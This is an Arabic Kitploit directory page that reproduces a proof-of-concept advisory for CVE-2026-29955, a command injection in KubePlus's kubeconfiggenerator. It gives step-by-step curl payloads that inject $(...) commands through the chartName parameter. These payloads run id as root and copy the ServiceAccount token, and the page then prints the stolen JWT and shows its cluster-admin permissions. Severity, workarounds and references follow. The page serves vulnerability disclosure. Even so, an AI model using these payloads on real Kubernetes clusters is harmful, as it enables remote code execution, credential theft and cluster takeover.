Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-29955 — إثبات المفهوم لـ CVE-2026-29955، وهي ثغرة حقن أوامر في KubePlus kubeconfiggenerator تسمح بتنفيذ التعليمات البرمجية عن بُعد وسرقة رمز ServiceAccount في مجموعات Kubernetes. | Kitploit
أدوات/GitHubGitHub/b0b0haha/cve-2026-29955
أمن الحاوياتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأمن السحابة
GitHubb0b0haha/cve-2026-29955

CVE-2026-29955

إثبات المفهوم لـ CVE-2026-29955، وهي ثغرة حقن أوامر في KubePlus kubeconfiggenerator تسمح بتنفيذ التعليمات البرمجية عن بُعد وسرقة رمز ServiceAccount في مجموعات Kubernetes.

عرض المستودع
5منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة حقن الأوامر في KubePlus KubeconfigGenerator

توجد هذه الثغرة في مكوّن kubeconfiggenerator الخاص بـ KubePlus، مما يسمح للمهاجمين الذين لديهم وصول إلى واجهة HTTP بحقن أوامر shell عبر معامل chartName، وتنفيذ كود عشوائي بصلاحيات root داخل الحاوية، وسرقة رموز ServiceAccount بصلاحيات cluster-admin. تصنيف CWE الموصى به: CWE-78 (حقن أوامر نظام التشغيل).

ملخص

نقطة النهاية /registercrd في مكوّن kubeconfiggenerator الخاص بـ KubePlus معرّضة لحقن الأوامر. يستخدم المكوّن subprocess.Popen() مع معامل shell=True لتنفيذ أوامر shell، ويتم دمج معامل chartName المقدَّم من المستخدم مباشرةً في سلسلة الأوامر دون أي تعقيم أو تحقق. يمكن للمهاجم حقن أوامر shell عشوائية من خلال صياغة قيمة ضارة لمعامل chartName.

التفاصيل

السبب الجذري

عند معالجة طلبات تسجيل CRD، يقوم مكوّن kubeconfiggenerator بتنزيل واستخراج Helm Charts. في دالة download_and_untar_chart()، يتم دمج معامل chartName مباشرةً في أوامر shell:

الملف: deploy/kubeconfiggenerator.py:60-69

root@kitploit:~
def run_command(cmd):
    print(cmd)
    cmdOut = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).communicate()
    out = cmdOut[0].decode('utf-8')
    err = cmdOut[1].decode('utf-8')
    return out, err

الملف: deploy/kubeconfiggenerator.py:554

root@kitploit:~
wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)

الملف: deploy/kubeconfiggenerator.py:562

root@kitploit:~
cmd = "rm -rf /" + chartName
out, err = run_command(cmd)

بسبب معامل shell=True، يمكن للمهاجمين استخدام صيغة استبدال أوامر shell $(command) لحقن أوامر عشوائية.

ناقل الهجوم

من خلال إرسال طلب HTTP إلى نقطة النهاية /registercrd مع معامل chartName ضار، يمكن للمهاجم تنفيذ أوامر عشوائية داخل حاوية kubeconfiggenerator. نظرًا لأن الحاوية تعمل بصلاحيات root وحساب ServiceAccount الخاص بها لديه صلاحيات cluster-admin، يمكن للمهاجم:

  1. تنفيذ أوامر نظام عشوائية
  2. قراءة الملفات الحساسة داخل الحاوية
  3. سرقة رموز ServiceAccount
  4. استخدام الرموز المسروقة للوصول إلى Kubernetes API

PoC

إعداد البيئة

1. إنشاء Kind Cluster

root@kitploit:~
# إنشاء إعدادات Kind cluster
cat > kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: kubeplus-test
nodes:
  - role: control-plane
EOF

# إنشاء cluster
kind create cluster --config kind-config.yaml

# التحقق من cluster
kubectl cluster-info
kubectl get nodes

المخرجات المتوقعة:

root@kitploit:~
Kubernetes control plane is running at https://127.0.0.1:xxxxx
CoreDNS is running at https://127.0.0.1:xxxxx/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

NAME                          STATUS   ROLES           AGE   VERSION
kubeplus-test-control-plane   Ready    control-plane   1m    v1.27.3

2. تثبيت KubePlus

root@kitploit:~
# إنشاء دليل العمل
mkdir -p /tmp/kubeplus-poc && cd /tmp/kubeplus-poc

# تنزيل إضافات KubePlus
wget https://github.com/cloud-ark/kubeplus/releases/download/kubeplus-kubectl-plugins-v4.1.4/kubeplus-kubectl-plugins-v4.1.4.tar.gz
tar -xzf kubeplus-kubectl-plugins-v4.1.4.tar.gz

# تنزيل سكربت provider-kubeconfig
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/requirements.txt
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/provider-kubeconfig.py

# إعداد بيئة Python
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
pip3 install PyYAML kubernetes

# الحصول على عنوان خادم API
apiserver=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')

# إنشاء provider kubeconfig
python3 provider-kubeconfig.py -s $apiserver create default

المخرجات المتوقعة:

root@kitploit:~
Provider kubeconfig created: kubeplus-saas-provider.json

3. تثبيت KubePlus عبر Helm

root@kitploit:~
# تنزيل Helm chart الخاص بـ KubePlus
curl -sL "https://github.com/cloud-ark/operatorcharts/raw/master/kubeplus-chart-4.2.0.tgz" -o kubeplus-chart.tgz

# تثبيت KubePlus
helm install kubeplus kubeplus-chart.tgz --kubeconfig=kubeplus-saas-provider.json -n default

# انتظار جاهزية الـ pods
kubectl wait --for=condition=Ready pod -l app=kubeplus -n default --timeout=180s

# التحقق من التثبيت
kubectl get pods -n default -l app=kubeplus

المخرجات المتوقعة:

root@kitploit:~
NAME                                   READY   STATUS    RESTARTS   AGE
kubeplus-deployment-57dbf6f8b9-xxxxx   5/5     Running   0          2m

4. إعداد إعادة توجيه المنافذ

root@kitploit:~
# الحصول على اسم الـ pod
export WEBHOOK_POD=$(kubectl get pods -n default -l app=kubeplus -o jsonpath='{.items[0].metadata.name}')

# إعداد إعادة توجيه المنافذ
kubectl port-forward svc/kubeconfighelper -n default 5005:91 &

# التحقق من إمكانية الوصول إلى الخدمة
curl -s http://localhost:5005/hello

المخرجات المتوقعة:

root@kitploit:~
hello world

خطوات الاستغلال

الخطوة 1: تنفيذ حقن الأوامر (أمر id)

إرسال طلب مع معامل chartName ضار:

root@kitploit:~
curl -s 'http://localhost:5005/registercrd?kind=Test&version=v1&group=test.io&plural=tests&chartURL=https://example.com/test.tgz&chartName=$(id>/tmp/pwned.txt)'

الخطوة 2: التحقق من تنفيذ الأمر

root@kitploit:~
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/pwned.txt

مخرجات التحقق الفعلية:

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

الخطوة 3: سرقة رمز ServiceAccount

root@kitploit:~
curl -s 'http://localhost:5005/registercrd?kind=Test2&version=v1&group=test2.io&plural=test2s&chartURL=https://example.com/test.tgz&chartName=$(cat%20/var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)'

الخطوة 4: استخراج الرمز المسروق

root@kitploit:~
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt

مخرجات التحقق الفعلية:

root@kitploit:~
eyJhbGciOiJSUzI1NiIsImtpZCI6Iklua3NNSkdubUtOcnZycUZkMGlJTE5meV9jVk85WFQxZ2dBZjVtOFJ0VncifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAxNDg5MjYyLCJpYXQiOjE3Njk5NTMyNjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJrdWJlcGx1cy1kZXBsb3ltZW50LTU3ZGJmNmY4YjktcHh2YzUiLCJ1aWQiOiI4ZjBmNDQ0NS1mZTQ0LTQxMjUtYjEwMi03YzQzZDkyMjEyMmYifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Imt1YmVwbHVzLXNhYXMtcHJvdmlkZXIiLCJ1aWQiOiJlZjljYjFmZi03NWI1LTRmZmMtYjdjMS01Yjc3NjhjNWFiYzQifSwid2FybmFmdGVyIjoxNzY5OTU2ODY5fSwibmJmIjoxNzY5OTUzMjYyLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDprdWJlcGx1cy1zYWFzLXByb3ZpZGVyIn0...

الخطوة 5: التحقق من صلاحيات الرمز

root@kitploit:~
STOLEN_TOKEN=$(kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt)
kubectl auth can-i --list --token="$STOLEN_TOKEN"

مخرجات التحقق الفعلية:

root@kitploit:~
Resources                                       Non-Resource URLs   Resource Names   Verbs
*.*                                             []                  []               [*]
                                                [*]                 []               [*]
selfsubjectreviews.authentication.k8s.io        []                  []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                  []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []               [create]

أدلة سجلات الخادم

تُظهر سجلات حاوية kubeconfiggenerator تنفيذ حقن الأوامر:

root@kitploit:~
[01/Feb/2026 13:49:32] Inside registercrd
kind:Test
version:v1
group:test.io
plural:tests
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(id>/tmp/pwned2.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(id>/tmp/pwned2.txt)
root@kitploit:~
[01/Feb/2026 13:49:56] Inside registercrd
kind:Test2
version:v1
group:test2.io
plural:test2s
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)

التأثير

تسمح هذه الثغرة للمهاجم بـ:

  1. تنفيذ كود عن بُعد: تنفيذ أوامر عشوائية بصلاحيات root داخل حاوية kubeconfiggenerator
  2. سرقة بيانات الاعتماد: سرقة رموز ServiceAccount بصلاحيات cluster-admin (*.*)
  3. الاستيلاء على الكتلة: استخدام الرموز المسروقة لتنفيذ أي عملية على Kubernetes API، بما في ذلك إنشاء/حذف الـ Pods، قراءة الأسرار (Secrets)، تعديل إعدادات RBAC، إلخ.
  4. الحركة الجانبية: الوصول إلى الموارد في أي namespace داخل الكتلة

المتطلبات الأساسية

  • يحتاج المهاجم إلى الوصول إلى واجهة HTTP لخدمة kubeconfighelper (المنفذ 5005)
  • الخدمة قابلة للوصول داخل الكتلة افتراضيًا

الخطورة

درجة CVSS v3.1: 8.8 (عالية)

المتجه: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • ناقل الهجوم (AV): الشبكة
  • تعقيد الهجوم (AC): منخفض
  • الصلاحيات المطلوبة (PR): منخفضة (يتطلب الوصول إلى خدمة kubeconfighelper)
  • تفاعل المستخدم (UI): لا شيء
  • النطاق (S): غير متغير
  • السرية (C): عالية (يمكن سرقة رمز ServiceAccount)
  • السلامة (I): عالية (يمكن تنفيذ أوامر عشوائية)
  • التوفر (A): عالية (يمكن التأثير على توفر الخدمة)

الإصدارات المتأثرة

  • KubePlus v4.2.0 والإصدارات الأقدم
  • جميع الإصدارات التي تستخدم shell=True لتنفيذ الأوامر

الإصدارات المصححة

لا يوجد إصدار مصحح متاح حتى الآن.

الحلول البديلة

  1. عزل الشبكة: استخدام NetworkPolicy لتقييد الوصول إلى خدمة kubeconfighelper
  2. تقييد RBAC: تقليل صلاحيات حساب kubeplus-saas-provider ServiceAccount
  3. المراقبة: مراقبة تنفيذ الأوامر غير الطبيعية في حاوية kubeconfiggenerator
root@kitploit:~
# مثال على NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: restrict-kubeconfighelper
  namespace: default
spec:
  podSelector:
    matchLabels:
      app: kubeplus
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          trusted: "true"
    ports:
    - protocol: TCP
      port: 5005

المراجع

  • CWE-78: تحييد غير صحيح للعناصر الخاصة المستخدمة في أمر نظام التشغيل ('حقن أوامر نظام التشغيل')
  • OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection
  • أمان Python subprocess: https://docs.python.org/3/library/subprocess.html#security-considerations
  • Kubeplus: https://github.com/cloud-ark/kubeplus

الاعتمادات

@b0b0haha ([email protected]) @lixingquzhi ([email protected])

تنزيل الأداة